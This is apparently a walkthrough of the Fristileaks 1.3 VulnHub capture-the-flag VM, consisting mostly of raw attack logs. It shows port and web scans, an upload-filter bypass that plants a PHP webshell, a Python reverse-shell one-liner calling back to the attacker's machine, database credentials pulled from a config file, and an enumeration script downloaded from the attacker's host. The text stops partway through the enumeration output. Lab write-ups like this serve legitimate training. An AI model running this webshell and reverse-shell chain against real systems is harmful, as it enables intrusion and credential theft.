VulnHub Fristileaks.1.3 (Medium)

====================================================================================
Walkthrough of the Fristileaks.1.3 VulnHub VM CTF
====================================================================================

Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb)

Step 2. Gaining access
	Step 1. Manual Web application penetration test 
	Step 2. Upload of a PHP Webshell
	Step 3. Obtain a reverse shell as 'apache'

Step 3. Post-exploitation - Linux enumeration (LinEnum.sh + Linux-exploit-suggester.sh)

Step 4. Privilege escalation to root
	
	+ Method 1 - DirtyC0w exploit (CVE-2016-5195)

      	+ Method 2 - Exploit several insecure configuration settings
	  > Privesc from "admin" to "fristigod" using the encrypted pwds stored in "/home/admin"
	  > Privesc from "fristigod" to "root" using a SUDO rule and info in ".bash_history" 
	  > Privesc from "fristigod" to "fristi" using a SUDO rule and weak folder permissions


====================================================================================

root@Security-Audit-01:~# nmap -T5 -sS -sV -sC -p- 192.168.1.49
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-21 15:22 CEST
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 88.36% done; ETC: 15:24 (0:00:10 remaining)
Nmap scan report for 192.168.1.49
Host is up (0.00048s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries 
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.14 seconds

====================================================================================

root@Security-Audit-01:~# nmap -T5 --script vuln -p 80 192.168.1.49
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-21 15:25 CEST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.49
Host is up (0.00030s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /robots.txt: Robots file
|   /icons/: Potentially interesting folder w/ directory listing
|_  /images/: Potentially interesting folder w/ directory listing
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

==============================================================================

root@Security-Audit-01:~# nikto -h http://192.168.1.49
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.49
+ Target Hostname:    192.168.1.49
+ Target Port:        80
+ Start Time:         2018-08-21 15:25:43 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
+ Server leaks inodes via ETags, header found with file /, inode: 12722, size: 703, mtime: Tue Nov 17 19:45:47 2015
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Entry '/cola/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/sisi/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/beer/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ PHP/5.3.3 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8348 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time:           2018-08-21 15:25:58 (GMT2) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

=========================================================================================

root@Security-Audit-01:~# dirb http://192.168.1.49

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Aug 21 15:31:48 2018
URL_BASE: http://192.168.1.49/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.49/ ----
+ http://192.168.1.49/cgi-bin/ (CODE:403|SIZE:210)                                                             
==> DIRECTORY: http://192.168.1.49/images/                                                                     
+ http://192.168.1.49/index.html (CODE:200|SIZE:703)                                                           
+ http://192.168.1.49/robots.txt (CODE:200|SIZE:62)                                                            
                                                                                                               
---- Entering directory: http://192.168.1.49/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Tue Aug 21 15:31:52 2018
DOWNLOADED: 4612 - FOUND: 3


==========================================================================================
How to get a shell on the box (webshell as the user "apache") + Linux enumeration
==========================================================================================

With burpsuite community
--------------------------

1. browse the website and do a spider scan
=> robots.txt
=> /beer/, /sisi/, /cola/
=> index.html

2. Thanks to the message "Keep Calm and Drink Fristi" displayed in the "index.html" file
=> I tried /fristi/

3. We land on a Admin portal login page...
=> I tried basic default and weak credentials but it did not work
=> same for for basic SQLi


4. I tried "upload.php" and I was redirected to the "Main_login.php" page but the HTTP response in Burp showed me a "do_upload.php" page.
=> I traped and modified the HTTP response (302 Not Found => 200 Ok) and I have now access to an image upload page.
=> I tried to upload a php webshell named "Webshell.php" but it was rejected (only png, gif and jpg files are accepted)
=> I modified the file extension of my webshell file "Webshell.php.png" and the upload worked


POST /fristi/do_upload.php HTTP/1.1
Host: 192.168.1.49
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.49/fristi/upload.php
Cookie: PHPSESSID=4e2jkta5ovnligfe6bchjgsop5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------9005578534749094731954750866
Content-Length: 409

-----------------------------9005578534749094731954750866
Content-Disposition: form-data; name="fileToUpload"; filename="Webshell.php.png"
Content-Type: application/x-php

<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>

-----------------------------9005578534749094731954750866
Content-Disposition: form-data; name="submit"

Upload Image
-----------------------------9005578534749094731954750866--

  
HTTP/1.1 302 Found
Date: Tue, 21 Aug 2018 15:54:17 GMT
Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: main_login.php
Content-Length: 104
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<body>
Uploading, please wait<br />The file has been uploaded to /uploads <br /></body>
</html>

----------------

GET /fristi/uploads/Webshell.php.png?cmd=id;pwd;cat%20/etc/passwd HTTP/1.1
Host: 192.168.1.49
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0


HHTTP/1.1 200 OK
Date: Tue, 21 Aug 2018 16:06:15 GMT
Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Length: 1242
Connection: close
Content-Type: text/html; charset=UTF-8

uid=48(apache) gid=48(apache) groups=48(apache)

/var/www/html/fristi/uploads

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin

=================================================================================

Reverse shell using python (nc is not working)
------------------------------------------------------

http://192.168.1.49/fristi/uploads/Webshell.php.png?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.8%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27


root@Security-Audit-01:~# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.49] 39980
sh: no job control in this shell

sh-4.1$ whoami
apache

sh-4.1$ ls  
Webshell.php%00.png
Webshell.php.png
Webshell.png
index.html

sh-4.1$ cd ..
sh-4.1$ ls
checklogin.php
do_upload.php
index.php
login_success.php
logout.php
main_login.php
pic.b64
pic2.b64
upload.php
uploads

sh-4.1$ cat checklogin.php

<?php

ob_start();
$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name
<SNIP>

sh-4.1$ su eezeepz
su eezeepz
standard in must be a tty

sh-4.1$ python -c 'import pty; pty.spawn("/bin/bash")'

bash-4.1$ su eezeepz
Password: 4ll3maal12#
su: incorrect password

bash-4.1$ su eezeepz
Password: eezeepz
su: incorrect password

bash-4.1$ su root
su root
Password: 4ll3maal12#
su: incorrect password

bash-4.1$ su fristigod
su fristigod
Password: 4ll3maal12#
su: incorrect password

bash-4.1$ su admin
Password: 4ll3maal12#
su: incorrect password

bash-4.1$ su admin
Password: admin
su: incorrect password

bash-4.1$ su fristigod
Password: fristigod
su: incorrect password

-----------------------------------------------------------------------------

bash-4.1$ mysql -u eezeepz -p 4ll3maal12#
Enter password: 4ll3maal12#
ERROR 1044 (42000): Access denied for user 'eezeepz'@'localhost' to database '4ll3maal12#'

bash-4.1$ mysql -u eezeepz -p hackmenow
Enter password: 4ll3maal12#

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 677
Server version: 5.1.73 Source distribution

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;    
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| hackmenow          |
+--------------------+
2 rows in set (0.00 sec)

mysql> select * from members;
select * from members;
+----+----------+--------------------+
| id | username | password           |
+----+----------+--------------------+
|  1 | eezeepz  | keKkeKKeKKeKkEkkEk |
+----+----------+--------------------+
1 row in set (0.00 sec)

mysql> exit

bash-4.1$ su eezeepz
su eezeepz
Password: keKkeKKeKKeKkEkkEk

su: incorrect password


-------------------------------------------------------------------------------------

bash-4.1$ wget http://192.168.1.8:8000/LinEnum.sh

--2018-08-21 12:26:11--  http://192.168.1.8:8000/LinEnum.sh
Connecting to 192.168.1.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44413 (43K) [text/x-sh]
Saving to: `LinEnum.sh'

100%[======================================>] 44,413      --.-K/s   in 0.001s  

2018-08-21 12:26:11 (29.0 MB/s) - `LinEnum.sh' saved [44413/44413]

bash-4.1$ chmod +x LinEnum.sh
chmod +x LinEnum.sh

bash-4.1$ ./LinEnum.sh -t
./LinEnum.sh -t

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.91

[-] Debug Info
[+] Thorough tests = Enabled


Scan started at:
Tue Aug 21 12:26:42 EDT 2018


### SYSTEM ##############################################
[-] Kernel information:
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux


[-] Kernel information (continued):
Linux version 2.6.32-573.8.1.el6.x86_64 (mockbuild@c6b8.bsys.dev.centos.org) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-16) (GCC) ) #1 SMP Tue Nov 10 18:01:38 UTC 2015


[-] Specific release information:
CentOS release 6.7 (Final)
CentOS release 6.7 (Final)
CentOS release 6.7 (Final)


[-] Hostname:
localhost.localdomain


### USER/GROUP ##########################################
[-] Current user/group info:
uid=48(apache) gid=48(apache) groups=48(apache)


[-] Users that have previously logged onto the system:
Username         Port     From             Latest
root             tty1                      Wed Nov 25 05:27:24 -0500 2015


[-] Who else is logged on:
 12:26:42 up  2:11,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT


[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(bin) gid=1(bin) groups=1(bin),2(daemon),3(sys)
uid=2(daemon) gid=2(daemon) groups=2(daemon),1(bin),4(adm),7(lp)
uid=3(adm) gid=4(adm) groups=4(adm),3(sys)
uid=4(lp) gid=7(lp) groups=7(lp)
uid=5(sync) gid=0(root) groups=0(root)
uid=6(shutdown) gid=0(root) groups=0(root)
uid=7(halt) gid=0(root) groups=0(root)
uid=8(mail) gid=12(mail) groups=12(mail)
uid=10(uucp) gid=14(uucp) groups=14(uucp)
uid=11(operator) gid=0(root) groups=0(root)
uid=12(games) gid=100(users) groups=100(users)
uid=13(gopher) gid=30(gopher) groups=30(gopher)
uid=14(ftp) gid=50(ftp) groups=50(ftp)
uid=99(nobody) gid=99(nobody) groups=99(nobody)
uid=69(vcsa) gid=69(vcsa) groups=69(vcsa)
uid=499(saslauth) gid=76(saslauth) groups=76(saslauth)
uid=89(postfix) gid=89(postfix) groups=89(postfix),12(mail)
uid=74(sshd) gid=74(sshd) groups=74(sshd)
uid=48(apache) gid=48(apache) groups=48(apache)
uid=27(mysql) gid=27(mysql) groups=27(mysql)
uid=498(vboxadd) gid=1(bin) groups=1(bin)
uid=500(eezeepz) gid=500(eezeepz) groups=500(eezeepz)
uid=501(admin) gid=501(admin) groups=501(admin)
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
uid=503(fristi) gid=100(users) groups=100(users),502(fristigod)


[-] It looks like we have some admin users:
uid=2(daemon) gid=2(daemon) groups=2(daemon),1(bin),4(adm),7(lp)
uid=3(adm) gid=4(adm) groups=4(adm),3(sys)


[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin


[-] Super user account(s):
root


[-] Are permissions on /home directories lax:
total 28K
drwxr-xr-x.  5 root      root      4.0K Nov 19  2015 .
dr-xr-xr-x. 22 root      root      4.0K Aug 21 09:20 ..
drwx------.  2 admin     admin     4.0K Nov 19  2015 admin
drwx---r-x.  5 eezeepz   eezeepz    12K Nov 18  2015 eezeepz
drwx------   2 fristigod fristigod 4.0K Nov 19  2015 fristigod


[-] Files owned by our user:
-rw-r--r-- 1 apache apache 62 Nov 17  2015 /var/www/html/robots.txt
-rw-r--r-- 1 apache apache 703 Nov 17  2015 /var/www/html/index.html
-rw-r--r--. 1 apache apache 1396 Nov 17  2015 /var/www/html/fristi/main_login.php
-rw-r--r--. 1 apache apache 45 Nov 17  2015 /var/www/html/fristi/logout.php
-rw-r--r--. 1 apache apache 372 Nov 17  2015 /var/www/html/fristi/upload.php
-rw-r--r-- 1 apache apache 48 Aug 21 11:48 /var/www/html/fristi/uploads/Webshell.php%00.png
-r--r--r--. 1 apache apache 4 Nov 17  2015 /var/www/html/fristi/uploads/index.html
-rw-r--r-- 1 apache apache 48 Aug 21 11:54 /var/www/html/fristi/uploads/Webshell.php.png
-rw-r--r-- 1 apache apache 48 Aug 21 11:43 /var/www/html/fristi/uploads/Webshell.png
-rw-r--r--. 1 apache apache 1216 Nov 17  2015 /var/www/html/fristi/do_upload.php
-rw-r--r--. 1 apache apache 131736 Nov 17  2015 /var/www/html/fristi/pic.b64
-rw-r--r--. 1 apache apache 1642 Nov 17  2015 /var/www/html/fristi/pic2.b64
-rwxr-xr-x 1 apache apache 44413 Jul 15 18:22 /var/www/html/fristi/LinEnum.sh
-rw-r--r--. 1 apache apache 191 Nov 17  2015 /var/www/html/fristi/login_success.php
-rw-r--r--. 1 apache apache 1310 Nov 17  2015 /var/www/html/fristi/checklogin.php
-rw-r--r-- 1 apache apache 107815 Nov 25  2015 /var/www/html/images/3037440.jpg
-rw-r--r-- 1 apache apache 34480 Nov 17  2015 /var/www/html/images/keep-calm.png
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_sgn8obmt07desfb6bcl09cu625
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_d2m0kl7d6fvh7d34f4rcdjgfv2
-rw------- 1 apache apache 0 Aug 21 09:49 /var/lib/php/session/sess_4e2jkta5ovnligfe6bchjgsop5
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_s2sl4rf31lsqukgvedfrudn0i6
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_d0vj05jc03p45i09llaeva8iq4
-rw-------. 1 apache apache 26 Nov 17  2015 /var/lib/php/session/sess_c06141si40e8t1e8fbqcnfqcd6
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_r8imne4to6p9eqbv0ve62dv647
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_cl2p3l395c29qe3fffojdc97p2
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_fb50k3rreura82egdmmfjq9v77
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_sjjcfuc9fr3fqr5crtt3s7d3f5
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_0gbbeoi29i74nt6bnkunuouci0
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_7t84773bup6o54egnkjtum0q87
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_qcjf8lrh94rcesd41tvi746ls0
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_fb7dj9tqqpila69m2grhfmmo45
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_qqt1rqieamv5b3t5i6o5srvgc7
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_7nueuse6eik62qarnncs6tpqt4
-rw------- 1 apache apache 26 Nov 17  2015 /var/lib/php/session/sess_b382m5qugddkq2ps8196e745c1
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_u1gt82f4s0p2ehnagvger8glg0
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_hijetlf7s6nns9o3hi7a2h8nj7
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_svl94mt3ot5lvpiplnnijkrnb4
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_jjh2g0fu4anm7suu68udhdp2e4
-rw-------. 1 apache apache 0 Nov 17  2015 /var/lib/php/session/sess_t1i5t4coc4jcc0tgd3i9o3kn00


[-] Hidden files:
-rw-r--r--. 1 root root 65 Oct 24  2013 /lib64/.libgcrypt.so.11.hmac
-rw-r--r--. 1 root root 65 Oct 15  2014 /lib64/.libcryptsetup.so.1.1.0.hmac
-rw-r--r--. 1 root root 65 Dec  7  2011 /lib64/.libfipscheck.so.1.1.0.hmac
-rw-r--r--. 1 root root 65 Oct 15  2014 /lib64/.libcryptsetup.so.1.hmac
-rw-------. 1 root root 0 Nov 17  2015 /etc/.pwd.lock
-rw-r--r--. 1 root root 18 Sep 22  2015 /etc/skel/.bash_logout
-rw-r--r--. 1 root root 124 Sep 22  2015 /etc/skel/.bashrc
-rw-r--r--. 1 root root 176 Sep 22  2015 /etc/skel/.bash_profile
-rw-r--r--. 1 root root 166 Jul 23  2015 /boot/.vmlinuz-2.6.32-573.el6.x86_64.hmac
-rw-r--r--. 1 root root 170 Nov 10  2015 /boot/.vmlinuz-2.6.32-573.8.1.el6.x86_64.hmac
-rw-r--r--. 1 root root 65 Jul 23  2015 /usr/lib64/.libssl.so.1.0.1e.hmac
-rw-r--r--. 1 root root 65 Jul 23  2015 /usr/lib64/.libcrypto.so.1.0.1e.hmac
-rw-r--r--. 1 root root 65 Dec  7  2011 /usr/bin/.fipscheck.hmac
-rw-r--r--. 1 root root 65 Aug 13  2015 /usr/bin/.ssh.hmac
-rw-r--r--. 1 root root 55 Dec  2  2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/dtc/.gitignore
-rw-r--r--. 1 root root 1430 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/.kallsyms.cmd
-rw-r--r--. 1 root root 21 Dec  2  2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/selinux/mdp/.gitignore
-rw-r--r--. 1 root root 1743 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/selinux/mdp/.mdp.cmd
-rw-r--r--. 1 root root 2088 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/selinux/genheaders/.genheaders.cmd
-rw-r--r--. 1 root root 20 Dec  2  2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/basic/.gitignore
-rw-r--r--. 1 root root 2711 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/basic/.fixdep.cmd
-rw-r--r--. 1 root root 2266 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/basic/.docproc.cmd
-rw-r--r--. 1 root root 1423 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/basic/.hash.cmd
-rw-r--r--. 1 root root 85 Dec  2  2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/.gitignore
-rw-r--r--. 1 root root 37 Dec  2  2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/genksyms/.gitignore
-rw-r--r--. 1 root root 145 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/genksyms/.genksyms.cmd
-rw-r--r--. 1 root root 1024 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/genksyms/.parse.o.cmd
-rw-r--r--. 1 root root 1715 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/genksyms/.genksyms.o.cmd
-rw-r--r--. 1 root root 2227 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/genksyms/.lex.o.cmd
-rw-r--r--. 1 root root 1789 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/.pnmtologo.cmd
-rw-r--r--. 1 root root 1485 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/.conmakehash.cmd
-rw-r--r--. 1 root root 172 Dec  2  2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/.gitignore
-rw-r--r--. 1 root root 3157 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/.zconf.tab.o.cmd
-rw-r--r--. 1 root root 1806 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/.kxgettext.o.cmd
-rw-r--r--. 1 root root 2158 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/.conf.o.cmd
-rw-r--r--. 1 root root 110 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/.conf.cmd
-rw-r--r--. 1 root root 31 Dec  2  2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/lxdialog/.gitignore
-rw-r--r--. 1 root root 1631 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/.unifdef.cmd
-rw-r--r--. 1 root root 111 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.elfconfig.h.cmd
-rw-r--r--. 1 root root 129 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.modpost.cmd
-rw-r--r--. 1 root root 1771 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.empty.o.cmd
-rw-r--r--. 1 root root 34 Dec  2  2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.gitignore
-rw-r--r--. 1 root root 2455 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.mod-extract.cmd
-rw-r--r--. 1 root root 2780 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.sumversion.o.cmd
-rw-r--r--. 1 root root 2308 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.modpost.o.cmd
-rw-r--r--. 1 root root 1556 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.mk_elfconfig.cmd
-rw-r--r--. 1 root root 2011 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.file2alias.o.cmd
-rw-r--r--. 1 root root 107134 Jul 23  2015 /usr/src/kernels/2.6.32-573.el6.x86_64/.config
-rw-r--r--. 1 root root 55 Dec  2  2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/dtc/.gitignore
-rw-r--r--. 1 root root 1430 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/.kallsyms.cmd
-rw-r--r--. 1 root root 21 Dec  2  2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/selinux/mdp/.gitignore
-rw-r--r--. 1 root root 1743 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/selinux/mdp/.mdp.cmd
-rw-r--r--. 1 root root 2088 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/selinux/genheaders/.genheaders.cmd
-rw-r--r--. 1 root root 20 Dec  2  2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/basic/.gitignore
-rw-r--r--. 1 root root 2711 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/basic/.fixdep.cmd
-rw-r--r--. 1 root root 2266 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/basic/.docproc.cmd
